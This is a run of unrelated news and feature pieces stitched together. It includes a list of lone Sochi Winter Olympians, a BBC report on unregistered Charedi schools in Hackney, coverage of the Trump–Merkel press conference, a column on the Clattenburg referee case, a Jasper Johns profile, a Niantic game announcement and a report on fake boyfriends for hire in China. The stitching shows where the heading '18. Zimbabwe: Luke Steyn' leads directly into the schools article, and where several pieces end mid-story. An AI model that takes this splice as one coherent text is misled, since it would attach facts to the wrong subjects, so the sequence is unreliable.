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There are no Olympic-sized ice rinks in Hong Kong, so Lui Pan-To Barton had to travel to Changchun and Harbin on the mainland to train with the Chinese National team, and then to Seoul, South Korea, to train by himself. Lui qualified for the Sochi Olympics in short track speed skating, the sole athlete from Hong Kong. Although Hong Kong was returned to China in 1997, it is still considered a “special administrative district,” and will be represented at the Olympics by Lui alone.
8. Tonga: Bruno Banani
Photograph by Steffen Rumke.
If you do a Google search for the name Bruno Banani, you will get the German underwear company of that name. But it’s also the name of the first Winter Olympian from Tonga. Born Fuahea Semi, the Tongan rugby player and luger went by Bruno Banani to court sponsorship from the company. It was part of a deal endorsed by the Tongan royal family to enable the athlete to afford training in Germany with the world’s best lugers. The company insinuated that the name was just a coincidence that led to the sponsorship, but that story unraveled quickly. It wasn’t “just” a hoax; Semi legally changed his name to Bruno Banani. The International Olympic Committee decided that even though using a sponsor’s name is in bad taste, Banani is the name on his passport, so he will be the lone athlete representing Tonga at Sochi in the luge event.
9. Kyrgyzstan: Dmitry Trelevski
Sochi will be the sixth Winter Games in which Kyrgyzstan has participated, and in five of those Olympics, only one athlete represented the nation. In Vancouver in 2010, Dmitry Trelevski and women’s cross country skier Olga Reshetkova made up the country’s biggest Olympic contingent ever. This time around, it will be Dmitry Trelevski by himself, competing in the men’s slalom, the men’s giant slalom, and the Super G events.
10. Mexico: Hubertus von Hohenlohe
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As his birthday is next week, Prince Hubertus of Hohenlohe-Langenburg will be 55 years old when he skis the men’s slalom in Sochi, the second-oldest winter Olympian ever. Born in Mexico, he is a descendant of a royal family from an area that is now part of Germany. Von Hohenlohe grew up in Austria, where he had plenty of opportunity to ski. He now lives in Liechtenstein and holds dual Austrian and Mexican citizenship. He is the only athlete representing Mexico at the Winter Games.
With his pedigree, von Hohenlohe could have competed for Austria, Liechtenstein, Spain, Italy, or Mexico. He selected Mexico “where I could control my own moves.” He founded the Mexican Ski Federation, of which he is the sole member. Off the slopes, von Hohenlohe is a musician and photographer. Watch a video of one of his latest songs.
By the way, the oldest Olympian ever at the Winter Games was Swedish curler Carl August Kronlund, who won a medal in 1924 at age 58.
11. Nepal: Dachhiri Sherpa
Photograph by Elena Tartaglione.
Considering the elevation and available snow, it’s a wonder that Nepal doesn’t produce more winter Olympians. Dachhiri Sherpa will represent Nepal alone in Sochi in cross country skiing. The 43-year-old Sherpa has been competing in the sport since 2002 and holds the record for the Alpine ultramarathon Ultra-Trail du Mont-Blanc. Sochi will be Sherpa’s third Olympics -he was the sole representative of Nepal in 2006 and 2010 as well.
12. Pakistan: Muhammad Karim
Pakistan originally qualified three skiers for the 2014 Olympics. Then the plan was to send one female and one male to the Games. And now a dispute between the Pakistan Olympic Association and the Pakistan government threatens the nation’s participation entirely. As of today, only one athlete, teenager Muhammad Karim, is slated to compete at Sochi, in the men’s slalom and the men’s giant slalom.
13. Paraguay: Julia Marino
Photograph from Facebook .
Paraguay has never participated in the Winter Games until this year. The sole athlete from the South American nation will be Julia Marino, who was born in Paraguay and then adopted by a family in Winchester, Massachusetts. She first visited Paraguay in 2013, and was treated as a celebrity.
Make no mistake, Marino's participation in the Winter Olympics is a big deal in Paraguay, which she visited for the first time a couple of weeks ago. Her tour included press conferences and a television interview on Paraguay's version of "Good Morning America." As the only representative of her country, naturally she will be the flag bearer during the opening ceremonies.
Now a junior at the University of Colorado, Marino will be representing Paraguay by herself when she competes in the new Olympic sport of slopestyle skiing.
14. Venezuela: Antonio Jose Pardo Andretta
Venezuela has participated in the Winter Games in four past Olympics; in 2014 they will be represented by one athlete, Antonio Jose Pardo Andretta, competing in the men’s giant slalom.
15. Tajikistan: Andrei Drygin
Getty Images
Tajikistan is a mountainous country, but it has only one ski station with one ski lift. Nevertheless, Andrei Drygin will be skiing for Tajikistan in Sochi as their only athlete for the fourth time. Drygin skied in Salt Lake City, Turin, and Vancouver, and will compete in three events, the men’s downhill, the men’s giant slalom, and the Super G, in Sochi.
16. Timor-Leste: Yohan Goutt Goncalves
Photograph from Facebook .
Timor-Leste, also known as East Timor, achieved independence from Indonesia in 2002 and became the first new nation of the 21st century. The nation participated in the last three Summer Games, and 2014 will mark East Timor’s first entry in the Winter Games. The country will be represented by skier Yohan Goutt Goncalves in the men’s slalom. Goutt Goncalves was born in France to a French father and an East Timorese mother. The 19-year-old skier said,
“I wanted to go to the Olympics representing East Timor as it would be a double experience,” he says. “Of course there is the competition, but also the chance to play the role of diplomat. It’s a brand new country, only formed in 2002 and still developing. I particularly want to show that there is more to East Timor than war.”
17. Virgin Islands: Jasmine Campbell
Photograph from Virgin Islands Olympic Committee .
Jasmine Campbell was born in St. John, in the U.S. Virgin Islands, and moved to Sun Valley, Idaho at the age of nine. She is a student at Whitman College (but is taking a year off to get ready for the Sochi Olympics) and lives in Hailey, Idaho. She comes by her Olympic dreams honestly: her father, John Campbell, skied at the 1992 Winter Games in Albertville, France. Campbell will be the only athlete representing the Virgin Islands, competing in the women’s slalom and giant slalom events.
18. Zimbabwe: Luke Steyn
As many as 1,000 boys from strictly Orthodox Jewish families may be pupils at a network of between 12 and 20 illegal private schools in east London.
These schools are not registered with the authorities, which makes them illegal, and they offer a narrow, religious syllabus.
The Department for Education is working with Ofsted to find and shut them.
Some of the illegal schools, however, are registered as charities, gaining them an advantaged tax status.
These private schools serve the small so-called Charedi community - a grouping that contains within it a wide variety of strictly Orthodox Jewish traditions. Hackney council estimates there are around 30,000 Charedi Jews in the borough.
Charedi parents are more likely to want a relatively mainstream education for their girls. There is demand, however, from parts of the community for a narrow education for boys, one that is largely focused on religious education and delivered in the Yiddish language.
While there are registered Charedi schools, many are unregistered because they fear being shut or made to follow a broader syllabus.
Officials from schools watchdog Ofsted and the DfE believe many of these schools offer an insufficiently broad education. Former pupils have complained of not being equipped by them to leave the Charedi community.
The education authorities have similar concerns about stricter Christian and Muslim groups. The fundamental issue is that English education has long held that parents should be able to educate their children within their faith. But that conflicts with another principle: children should be equipped to do as they wish as adults.
One ex-student of illegal Charedi schools, now in his 20s and outside the community, told Newsnight: "I'm starting to study for my GCSEs. I'm maybe like an eight-year-old, nine-year-old. That's my level of education."
Men who stayed in the community, however, told Newsnight that they supported the schools - even if they wish the schools were registered with the authorities. Eli Spitzer, now a head teacher at a registered Charedi primary school, says that his education at an unregistered school was "overwhelmingly positive".
The lowest estimate for the number of illegal schools in Hackney heard by Newsnight came from a senior member of the community, who estimated that there were a dozen such institutions, teaching 600 boys.
The highest estimate, from a someone who recently left the community, was that there were around 20. A senior local government official in Hackney estimated there are 1,000 boys in the illegal schools.
Image copyright Getty Images Image caption Stamford Hill, London
Charedi education
For boys under the age of 13, some parents want only a few hours of secular education each week.
From interviews conducted by Newsnight with current and former community members, an hour a day of such study seems the typical amount. A former pupil told us they received "two hours a week for English and maths". The rest of the time was spent studying scripture and was taught in Yiddish.
Around the age of 13, the boys move to "yeshivas". These schools often have very long school days - lasting more than 14 hours. Pupils are exclusively taught in Yiddish and only study scripture. They are not entered for GCSEs or for other qualifications.
Former pupils who left the community described struggling with English and maths, in particular, because of this education and one said he was "very unhappy with the education I received. I'm struggling to find a job because of that".
Some of the schools and yeshivas are run in contravention of the 2008 Education and Skills Act, which stipulates that "a person must not conduct an independent educational institution unless it is registered".
An individual convicted of running an unregistered school could face up to a year in prison. Ofsted and the DfE began a crackdown on illegal schools in January.
The DfE says: "We have announced an escalation of Ofsted investigations into unregistered schools, with additional inspectors dedicated to rooting them out, a new tougher approach to prosecuting them and a call to local authorities to help identify any settings of concern."
Ofsted says it has inspected and closed seven illegal schools across the country since last November - including a Charedi school.
Even though the institutions are currently on high alert, however, Newsnight established the location of four unregistered Charedi schools with relative ease.
We also established that whistleblowers had alerted the DfE to all four. Newsnight has been asked not to publish the locations of the schools by anti-semitism experts.
Image copyright Getty Images
Mystery shopping
In one case, we learned that the authorities had investigated and concluded that no children were being taught in the building. So we asked an actor, posing as the parent of a prospective 13-year-old pupil, to telephone the yeshiva and ask in Yiddish what services it offered.
The school employee who answered the phone stated that the normal day ran from 8am to around 9 or 10pm at night. There was, however, a "dawn framework" for boys who wished to start the day even earlier. When asked what the school taught, the employee listed no secular subjects. When asked how many boys were there, they believed there were 80 or 90 boys in the "junior yeshiva".
The building it is based in also failed a Fire Brigade inspection last year, which chastised the building managers for a "failure to take general fire precautions to ensure the safety of persons on the premises".
The school was registered in one place, however - with the Charity Commission.
Research by the British Humanist Association identified a further seven cases where suspected illegal Charedi schools have registered as charities with the Charity Commission in order to benefit from charity status. One of those schools was the institution recently ordered to close by the DfE.
Andrew Copson, chief executive of the BHA, said: "By being allowed to register as charities, these schools are being given access to all sorts of tax and other benefits that supplements the hundreds of thousands of pounds being poured into them. This means that this is not just a matter for the DfE in some regulatory sense to sort out. It's also a serious matter for the Charity Commission to investigate."
The Charity Commission said it would "have concerns" where charities were not meeting the requirements imposed on it by other bodies and will "liaise with the Department for Education if necessary to determine what regulatory action may be required".
Image copyright Getty Images Image caption The Department for Education has said: "unregistered schools are illegal and unsafe - and we are taking unprecedented and direct action against them"
Bigger principles
Dr Yaakov Wise, an expert on the Charedi community based at Huddersfield University, said: "Their parents and teachers gave them a highly intellectual, very sophisticated education for the life that they planned for them to lead. Now they've rejected all that and they've gone off into the world, so they have to start again. They have to get an education that suits the world outside."
Mr Spitzer said that he could have retrained for other activities if he so wished: "I attended yeshiva from the age of 14 and i spent the majority of the day studying Biblical and Talmudical texts... [which are] very challenging and highly intellectual."
Trump ignored Merkel's request for a handshake, provoked a look of disbelief when he repeated his allegations that President Barack Obama wiretapped his phones—"we have that in common," he told Merkel—and called a German newspaper "fake news" after a reporter asked him a question. He appeared to find it difficult to bring himself to look at the German chancellor.
And while many expected that Merkel, who has advocated welcoming and resettling refugees even as other European countries have closed their borders to asylum seekers, would clash with Trump over immigration, Trump instead appeared to entirely dodge her appeal for more humane immigration policies.
On Twitter, disbelief and embarrassment was the overwhelming response to what one pundit described as the "most remarkable/bizarre press conference between two allies I've ever seen":
Photographers: Can we get a handshake?
Merkel (to Trump): Do you want to have a handshake?
Trump: *no response*
Merkel: *makes awkward face* pic.twitter.com/ehgpCnWPg7 — David Mack (@davidmackau) March 17, 2017
This press conference is ridiculous. Trump still says he was witetapped by Obama. Says he and Merkel have that in common. — Keith Boykin (@keithboykin) March 17, 2017
GREATEST Freudian slip from Trump just now in Merkel press conference: "We're a very powerful company...er, country." — Alice Ollstein (@AliceOllstein) March 17, 2017
German reporter asks Trump about his misuse of fake news and about wiretapping. Trump responds by calling her a peddler of...fake news. pic.twitter.com/KNxIElEPOi SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts
— Tom Namako (@TomNamako) March 17, 2017
I think a lot of women will find Trump refusing to even look at Merkel during that presser pretty familiar — Jessica Valenti (@JessicaValenti) March 17, 2017
OH MY GOD. Trump is defending his false wiretapping claims by citing a "highly respected lawyer... on Fox News." — Caroline O. (@RVAwonk) March 17, 2017
Trump/Merkel press conference becoming almost too embarrassing to watch ... — Andrew Neil (@afneil) March 17, 2017
somehow seeing merkel next to trump drives home how bonkers this version of reality is — Erin Gloria Ryan (@morninggloria) March 17, 2017
The closest there has been, when it comes to finding a precedent for the Mark Clattenburg case, came back in March when one of the Premier League's assistant referees, Scott Ledger, was investigated for making allegedly homophobic remarks. But then you look more closely into that inquiry and quickly establish that it was a world away from a top-of-the-table encounter between Chelsea and Manchester United and the kind of exposure that propelled the accusations against Clattenburg on to the news pages of the New York Post at a time when a hurricane has been blowing through the old city.
Ledger was reported because of some remarks he purportedly made while watching a five-a-side competition for 15- and 16-year-olds from South Yorkshire's referees' associations. In the end, the Football Association decided there was no charge to answer. The case was quickly forgotten and Ledger's career has hardly suffered. Look out for him running the line when Manchester United host Arsenal on Saturday.
Clattenburg, in stark contrast, has been told he is not needed this weekend. Associates talked about the 37-year-old being under near-intolerable pressure, with news crews camped outside his house and the homes of relatives. His doorbell was pressed at 7am on Monday morning and at various intervals throughout the day until 11pm. Referees are accustomed to unwanted visitors at their front doors — "the best hate-mail is always hand-delivered," Graham Poll recounts, "because it tells you they know where you live" — but it is fair to say Clattenburg, with a 16-month-old baby to look after, is already suffering the consequences of what happened at Stamford Bridge on Sunday.
Whether it is his own doing will be a lot easier to deduce once the FA's disciplinary investigators have collated all the evidence and decided whether it should issue a disciplinary charge or the opposite and send it the same way as Chelsea's complaints about Poll in 2006.
The chapter in Poll's autobiography detailing that case is called "Chelsea on the attack" and relates how Ashley Cole publicly accused him of remarking that the club "needed to be taught a lesson" after he had sent off John Terry and disallowed a Didier Drogba goal in a game against Tottenham Hotspur. Terry then alleged Poll had changed his story about the sending off because "that's probably the best option for him as it covers every angle". The FA investigated the claims, decided they were false and charged Terry instead. He was fined £10,000 after admitting improper conduct, with the FA concluding it was "disappointed no public apology had been forthcoming".
So there is previous when it comes to Chelsea concocting allegations about what a referee has purportedly said to their players after a bad result.
Not, of course, that it means that has to be the same this time. It is still too early to know what precisely Clattenburg said to Mikel John Obi and Juan Mata and until more becomes clear, the only thing we can be certain about is there will be grave repercussions for whoever is in the wrong.
Certainly, from a Chelsea perspective, this is one case they cannot afford to misjudge bearing in mind everything that has subsequently happened between Terry and the FA and the fact that when Manchester United return to Stamford Bridge in the Capital One Cup on Wednesday the former England captain is still suspended because of what he said to Anton Ferdinand a year ago.
For Clattenburg it is simple: his entire reputation is at stake and, with it, his career. For Chelsea there would be other ramifications. Whatever the rights and wrongs of the Terry case, the club must be acutely aware about what accompanies allegations of this seriousness. If nothing else, that tells you how convinced they were on Sunday that it had to be raised.
It is a divisive, complex matter and what it does not need is knee-jerk judgment from people professing to know more than they do. Which is why Neil Warnock's comments were so bone-headed. "I have to say I am disgusted with what's gone on," the Leeds United manager said. "I'm on Mark Clattenburg's side. They are trying to kill him and I don't agree with that at all."
It's a nonsense. Warnock could criticise his own club, perhaps, for wrongly accusing another referee, Danny McDermid, of using foul language to their then manager, Dennis Wise, in 2007 (a charge the FA threw out) but if Chelsea have authentic reasons to believe one of their players was called a "monkey" and another a "Spanish twat", they are duty-bound to report it.
More questions should be asked, surely, if they decide not to pursue the matter. That, however, is not completely out of the question, believe it or not, and it is slightly disconcerting to hear from within Stamford Bridge that the club have not yet fully decided whether to proceed. Having come so far, they surely have to. And if not? The FA then has to launch a separate investigation into why.
On a bright but raw January day in Sharon, Connecticut, Jasper Johns turns the ignition key in his green Gator golf cart, enclosed in Plexiglas for the winter. Nothing. “Frozen again,” he says in his deep, commanding voice. We climb out and, rather than trudging through the snow, drive a car from the Coach Barn, which houses his painting and printmaking studios, a short distance on his sprawling estate to the Blue Barn. Before he converted it into an elegant private gallery a couple of years ago so he wouldn’t have to upend his studios every time a curator came by for a look-see, the barn sheltered his collection of guinea fowl. The birds, he explains, had “disappeared. One was run over. A few were eaten by fox or coyote or whatever we have up here.” They’re particularly stupid, in his view, but he was fond of them nonetheless. “They made horrible sounds, which I love. They were beautiful birds.”
Today the serene views of New England hills gleaming white under a fresh coat of snow contrast sharply with the artworks lining the gallery walls: paintings and works on paper, predominantly in greys and blacks, all riffing on the same image of a man sitting, with one leg tucked under him, on an old-fashioned iron bed, clutching his head in his hand as if in despair. If there were any question as to the mental anguish portrayed here, Johns has stamped an emphatic “Regrets, Jasper Johns” on each piece. The series, the latest from the renowned but elusive artist, is also titled “Regrets”.
There is an introspective poignancy to the work, a declarative statement in the artist’s late period – he turns 84 in May. It may be viewed as a window to the artist’s own state of mind, a vigorous confrontation with the waning of life by a virtuoso painter and draughtsman. The impact is potent enough that when two curators from the Museum of Modern Art paid separate studio visits last summer, they both proposed putting it directly into a solo exhibition at the museum, bypassing the typical introductory show at Matthew Marks Gallery. “I hadn’t planned a showing,” says Johns, who has led me to a pair of black leather chairs in another room, opposite an enormous Bruce Nauman sculpture hanging from the ceiling. “I was just making new work.”
“Regrets” will have its public debut at MoMA on March 15 and is likely to spark the kind of debate that has long engulfed Johns. Since his breakthrough first solo show, at the Castelli Gallery in 1958, when he put forth a nervy rebuke to the ubiquitous Abstract Expressionism, he has never failed to command the art world’s attention, even when his idiosyncratic iconography felt to some like a wild-goose chase. These latest works hold enough potential allusions to a web of art world names – late great masters Francis Bacon and Lucian Freud, one-time Johns intimate and peer Robert Rauschenberg, and Johns’ erstwhile assistant James Meyer – to keep postgrad students mired in ­dissertations for years to come.
Silver-haired, with rosy cheeks, Johns has perfected the trick of being simultaneously dour and disarmingly self-deprecating. Asked if he reads art criticism about himself, he replies with a subtle smile, “Has there been any lately?” Notoriously laconic, he is circumspect about any autobio­graphical component to “Regrets”; he has always subscribed to the Duchampian notion that viewers should complete an artwork by bringing their own meaning. Still, it is impossible to ignore the starting point for the series: early 2012, not long after he learnt that Meyer, who had served as his studio assistant for 27 years, had allegedly been stealing unfinished works and covertly selling them through a New York gallery. Johns was ­reportedly shaken by the betrayal. “Certainly not a pleasure,” he says of the ordeal. “But I can’t talk about it. I don’t want to talk about it. I don’t want to define it in any way.”
He is cagey about the new artworks’ connection to Meyer: “For me [the meaning] is within the picture. The word is in the picture. I think you’ll have to interpret that for yourself. It’s certainly in the painting, but so is the rest of the painting in the painting, and the image that’s in the ­painting. It’s not meant to be a sign of something not in the painting. Regrets belong to everybody, don’t they?”
The photograph of Lucian Freud by John Deakin that inspired Johns’ latest artworks. ©Dublin City Gallery The Hugh Lane/The Estate of Francis Bacon
Johns began “Regrets” after he came across an old photograph in a 2012 auction catalogue from Christie’s, London – though he seems little concerned with the image’s context or provenance. “It was a sale of – who’s the other artist? Francis Bacon.” On the block was Bacon’s “Study for Self-Portrait” (1964) and the catalogue had published the source material, a portfolio of photo­graphs found in Bacon’s studio after his death in 1992. Taken by the photographer John Deakin, the pictures were of Bacon’s friend and fellow artist Lucian Freud. Bacon had married Freud’s body with his own face in “Self-Portrait”. “This is the one that struck me,” Johns says, pointing to the image of Freud perched on the quilt-covered bed and hiding his face in his hand, newspapers at his feet. The photograph was paint-splattered and torn, with a large chunk of the lower left side missing ­altogether, and the creases and voids – the photograph as object – were as interesting to Johns as the image itself. “Bacon mistreated the photographs ­physically, is what it looks like,” Johns says. “I just saw that and it caught my eye.”
He began toying with the page from the catalogue almost immediately, ripping it out, tracing the silhouette, then copying that drawing on a photocopier. After filling in the space with coloured pencil, he glued it to a larger sheet of paper, making an abstract watercolour opposite the drawing. Explaining the reasons behind his methodology is difficult for him. “I saw it and wanted to do something,” he says, taking a sip of tea. “I don’t know how you go from there. You start thinking.”
The way he makes it sound, the faint stamp of “Regrets” in the upper right corner was almost a lark. He ordered the rubber stamp of his own handwriting years ago to use as an ironic reply to ­autograph-seekers, among others – invoking the word’s other meaning, polite refusal. “When people ask me to do things I don’t want to do, I stamp that,” he says with a big smile. “I don’t use it very often, but occasionally.”
'Regrets 2013'
He’d never before used it to make an artwork. Why now? “Well, it was right there in front of me,” near the copy machine, he says. “I assume I associated it with the image of [Freud].” On another drawing Johns wrote in pencil at the bottom, “Goya? Bats? Dreams?” The words are not a title, he says, “just notes of mine, association”.
It may be simply another coincidence that Bacon and Freud were once close friends but had a bitter break, mirroring the rupture between Johns and Rauschenberg more than half a century ago. Johns, though, insists any similarity is accidental. “I don’t know anything about their lives, so that wouldn’t be important to me,” he says.
Johns also claims never to have met either artist, though his friend Bill Katz, who was also close to Bacon (and who renovated the barns and Johns’ grand, stone house), recalls with a chuckle, “I remember introducing [Bacon and Johns] at lunch. When I tell Jasper things he thinks he doesn’t remember, he says, ‘Interesting if true’.”
Though Johns owns a small Freud painting, “a portrait of a poet”, he denies especially admiring either artist. “I don’t think it had anything to do with either of them,” he says before allowing, “You don’t know what happens in your unconscious.”
While Johns tends to lay plenty on his subconscious – an amusing irony in this case, considering Lucian’s grandfather was Sigmund – his long-time print collaborator Bill Goldston advises, “Jasper never does anything idly. There’s nothing in his work that isn’t considered.” Goldston, at Johns’ behest, made silkscreens of the “Regrets” stamp, complete with the artist’s written instruction, “Enlarge,” which also appears in the works. Though they have worked together for more than 40 years, Goldston knows better than to assume he comprehends the meaning behind Johns’ gestures. “It’s impossible to understand his motivation,” he says. “How can you possibly understand what he was thinking about Bacon in relation to Freud? I’m still working on the image and trying to understand how it’s broken up. The real fun is looking at the work and getting what you get.”
Whether rubbing and making lines with charcoal, painting with watercolour and dabbing pastel on heavily textured paper, or using India ink on mylar (polyester film) for a set of four drawings that break up the image in varying degrees, Johns offers a masterclass in technique. Despite the same starting point, each work is emphatically unique, a tour de force of experimentation. One of the paintings – in oil, not his signature encaustic made of pigmented hot wax – obscures Freud in a brooding palette of greys; in another, Freud is a jigsaw of cascading red, blue and yellow against a grey backdrop. Next to him, he outlined a small empty rectangle. Asked what it’s doing there, Johns shrugs his shoulders, smiles and takes a bite of a cookie. For all the influence he has wielded in contemporary art, he is also known, quite simply, as a first-rate paint handler. But Johns isn’t so sure. “I think it’s something I don’t know how to do,” he says with a laugh. “I don’t know what my limitations are and what the opposites of that are. I don’t know what my virtues and faults are.”
'Regrets 2013'
Showing the series in full, says Ann Temkin, chief curator of painting and sculpture at MoMA, opens a window to Johns’ creative process. “[It] gives viewers the opportunity to feel you are there in the studio and in the artist’s imagination,” she says. “He seems to have an urgency, which is thrilling to encounter. It’s very palpable when you look at these.”
Many of the works play with mirror images of the Freud portrait. “I don’t know why I decided to double it,” Johns says. “It’s curious because there’s one with it doubled one on top of the other – a completely different use of space. The others ­[opposite each other], I found it interesting – the forms, the negative space where he’d torn the ­picture.” Where the twin images adjoin, they form a skull, a reference to mortality that Johns claims is accidental.
As with most people who make it to their mid-eighties, many of Johns’ close friends from his formative years have died: the radical composer John Cage and his partner, the equally inventive choreographer Merce Cunningham; Leo Castelli, Johns’ dealer of 40 years; and Rauschenberg, the artist with whom Johns is inextricably linked. Together, the group formed a hub of creativity in the New York of the 1950s.
Johns had endured an epically painful childhood bouncing from one relative to another in South Carolina. “It had no stability at all,” he says. After his parents divorced when he was two, he was sent to his paternal grandfather. When I inquire if he grew up on a farm, Johns inexplicably laughs uproariously. “My grandfather didn’t live on a farm,” he says. “He had farms. He lived in town.” The farms, plural, were still set up like antebellum plantations, Johns recalls, each with a big house and a group of small structures where the black labourers lived. “I assume they had been slave quarters,” he says. “My best friend was a black boy who was the son of my grandfather’s overseer. That family lived in town, only about a block or two away from our house. His mother, I think, did our laundry.”
The disparities of the racially segregated South seeped into his consciousness over time. “I have one odd memory: we had a cook, a black woman named Donie, and I remember one afternoon going home with her to her house,” Johns recalls. “Donie made a cake when we got there, a coarse cake. When it was out of the oven, she cut it, gave me a piece. She had two children, and she gave them [a piece]. When I finished I asked for another piece. She said no, she had made it for her children; I had so much at home and she wasn’t going to give her children’s cake to me.” At the time, he felt wounded, since “she was somebody I trusted with my wellbeing. Only later I saw how touching her feelings were.”
When Johns was in third grade, his grandfather died. Johns stayed briefly with his mother and her new family before being sent to his paternal aunt, a schoolteacher who taught in a “two-room schoolhouse, but only one room was used. There were 12 to 13 children at most.” In high school he returned to his mother yet again.
In 1949, when he was 19, Johns dropped out of the University of South Carolina to move to New York, where he tried studying commercial art at Parsons School of Design. “When I came to New York, I was not adventurous. I had a kind of formless existence of always wanting to be an artist, but I had not much training,” he says. “I had no contact with people who were artists. That’s why meeting Bob Rauschenberg and John Cage and Merce Cunningham was so important to me. In my past I had no artists.”
He and Rauschenberg became exceptionally close, taking studios in the same building, making money by designing window displays together for Tiffany’s, and pushing one another artistically. They are frequently described as lovers. As recently as 2013, some critics scorned them – and MoMA, on the occasion of its show, “Johns and Rauschenberg” – for not being blunt about the nature of their relationship. When I asked him several years ago if he and Rauschenberg had been romantically involved, he retorted, “How is it relevant?” For Johns, who once said that while growing up he always felt like a guest in someone else’s house, what mattered was that he’d finally found “kin”.
'Untitled 2013'
It was one night during that period in the 1950s that Johns dreamt he was painting a flag. That dream led to “Flag”, a seminal painting of the Stars and Stripes that conflated image and object: was it a flag or a representation of a flag? Looking back, Johns isn’t sure if he realised how radical the piece was in the scope of contemporary art. “It was radical for me,” he says. “I had no interest or knowledge of what I was doing relative to anything else.” “Flag” helped confirm in his own mind that he was an artist. He destroyed his earlier work. “I did lots of other stuff, but it was done in a different spirit. It was done with the spirit that I wanted to be an artist, not that I was an artist.”
Next came paintings of other universally recognised symbols: targets, numbers, letters and, later, maps. One day when Castelli was visiting Rauschenberg, he saw Johns’ work and offered him a show then and there. It was an ­auspicious debut: MoMA bought an astounding three pieces. “For me it was unbelievable,” Johns recalls. “It was my first experience having a show. It was my first contact with people important in the art world.” Alfred Barr, MoMA’s influential first director, made the selections himself. “Alfred thought they might not last very long the way they were made” – with ephemeral materials such as news­paper encrusted in the paint – “but then he said something like, ‘We might not last very long either.’”
In 1961, after seven years, Johns and Rauschenberg had a falling out. Even after all this time, Johns does not have a neat explanation as to why. “I wonder if I know,” he says, before adding for good measure, “But I certainly don’t want to talk about it if I do.” He stretches in his chair, clasping his hands behind his head and crossing his legs at the ankles, defiantly silent.
Their split has repeatedly been described as bitter and total, with critics speculating that Johns’ ­painting “Liar”, for instance, was in reference to Rauschenberg. But Johns’ version of the aftermath is less dramatic. “Bob and I were not unfriendly,” he says. Neither were they friendly – he told me nine years ago that they saw each other “only by chance”. Perhaps they both mellowed with age. Johns did attend Rauschenberg’s memorial service in 2008. “Myths develop. I think people make things up,” he says. “There’s nothing I want to set straight about the record.” When he chooses to reveal something, one friend says, it’s in his art.
Johns retreated from New York to bucolic Sharon in the 1990s. Meyer, a painter whom Johns had hired in 1985 after he knocked on the door of Johns’ Manhattan studio, moved to the nearby town of Salisbury where he lived with his family. Sometime between 2006 and 2012, according to an indictment handed down last August, Meyer allegedly removed at least 22 unfinished artworks from Johns’ studio, where he was responsible for their safekeeping, and transported them to New York, where he sold them through an unnamed gallery, falsely claiming they were gifts. To prove their authenticity, he allegedly went so far as to create fictitious inventory numbers and produce fake pages for Johns’ ledger of ­completed artworks. The gallery sold the works for roughly $6.5m, $3.4m of which allegedly went to Meyer. If convicted of interstate transport of stolen ­property and wire fraud, Meyer could be sentenced to a maximum of 30 years in prison. Neither Meyer nor his lawyer responded to requests for comment. While friends of Johns say he was devastated by the alleged deception – one likens it to his parents’ virtual abandonment of him – they also hesitate to draw a straight line from the incident to “Regrets”, calling this too linear for such a complicated man.
For decades Johns also spent a good deal of time at his house on the Caribbean island of St Martin, but he has mostly stayed in Connecticut for the past few winters. “For some reason, the last time I worked there and finished something, I cleaned out the studio,” he says. “The only reason to go is to sit in the sunshine for a few days. That’s not very interesting to me.” He’s comfortable here, in the big stone house.
Even after 60 years of making art, though, Johns is still not entirely at ease with his practice. “I laboured over these a lot,” he says of “Regrets”. “Somehow what you end up with seems to be something you should have known was there to begin with, even though you had to work so hard to find it.”
That being an artist is still so arduous perplexes him. “I worry about the difficulty of making things, or the difficulty of knowing what to do,” he admits. “I may think, having been working at this all these years, why don’t I find it easy? Since it’s a relatively simple activity.”
‘Jasper Johns, Regrets’ opens at the Museum of Modern Art, New York, on March 15
Pokémon GO brought that vision to the world at unprecedented scale and served as a catalyst for the further development of the Niantic Real World Platform.
Which brings us to today…
We're incredibly excited to announce this next step in the evolution of AR mobile entertainment. With Harry Potter: Wizards Unite, players that have been dreaming of becoming real life Wizards will finally get the chance to experience J.K. Rowling’s Wizarding World. Players will learn spells, explore their real world neighborhoods and cities to discover & fight legendary beasts and team up with others to take down powerful enemies. We're thrilled to partner with Warner Bros. Interactive Entertainment, and WB Games San Francisco’s development team to bring this magical and beloved series to life in a brand new way. Harry Potter: Wizards Unite will leverage the full stack of the Niantic Platform while also providing an opportunity to pioneer all new technology and gameplay mechanics.
We look forward to seeing you outside on your next adventure. Stay tuned to our social channels for updates as we work to bring this game to life.
There are just days to go before Chinese New Year, the biggest celebration on China's calendar, when the entire country shuts down for a few days of food, fireworks… and family.
Many enjoy the holiday, but millions of unmarried people merely endure it.
In the basement of an office tower in central Beijing, a cloud of gloom hovers over the canteen at lunch time. Groups of young women huddled over large bowls of noodles look depressed when asked about the February's impending Chinese New Year holiday.
"I'm pretty old - I'm almost 30 - but I'm still single," explains Ding Na, a woman hailing from China's northeast.
"I'm under lots of pressure. My sisters and my relatives all ask me why I'm not married. When they call me, I'm scared to pick up the phone."
Twenty-somethings in China - young women especially - face a strict societal deadline to find a husband before they turn 30.
I might find someone who shares my interests and it would make both of us happy Li Le, Boyfriend for hire
According to Zhou Xiaopeng, a consultant with Baihe.com, one of China's biggest dating agencies, the pressure for singles to settle down crescendos around Chinese New Year.
"Picture a scene where people sit around a table," Ms Zhou says.
"Chinese people love to get together for dinner. On New Year's Eve, everybody is sitting in pairs, your brother with your sister-in-law, your sister with your brother-in-law, and so on. If you're the only one left behind, you can imagine the pressure and frustration."
Kiss for $8
Luckily for some, China's most popular online marketplace, Taobao, offers a band-aid solution: the rental of fake boyfriends.
For as little as $50 (£32) a day, dozens of classified adverts promise to provide a male companion for the holidays, pretending to be a single woman's plus-one.
Viewpoint: A dating consultant Renting a boyfriend to take home is the worst strategy. It's a solution out of no solutions. In Chinese families, there is no equal communication between parents and children. Parents always force children to do things, so it's hard for children to say that they haven't found someone and they are still looking. Parents won't listen to why their children can't find anybody. Parents only care about the outcome. One of my customers once told me something that breaks my heart. She told me her father told her to just marry a man. It could be anyone. Even if you have to divorce later. At least it gives him somebody. Q&A: Dating consultant Zhou Xiaopeng
Some postings list a full menu of possibilities - charging $5 an hour to accompany a girl to dinner and $8 for a kiss on the cheek. If the fake boyfriend stays overnight with his client's family for Chinese New Year, he charges $80 a night to sleep in his own bed, and $95 to sleep on the couch.
Sex is not even an option on the list.
Li Le, an agricultural products salesman from Tianjin, has put himself up for hire on Chinese New Year. Sounding a little embarrassed, Mr Li admits this is the first year he has attempted to work as a fake boyfriend instead of travelling home to see his own family in China's central Hebei province.
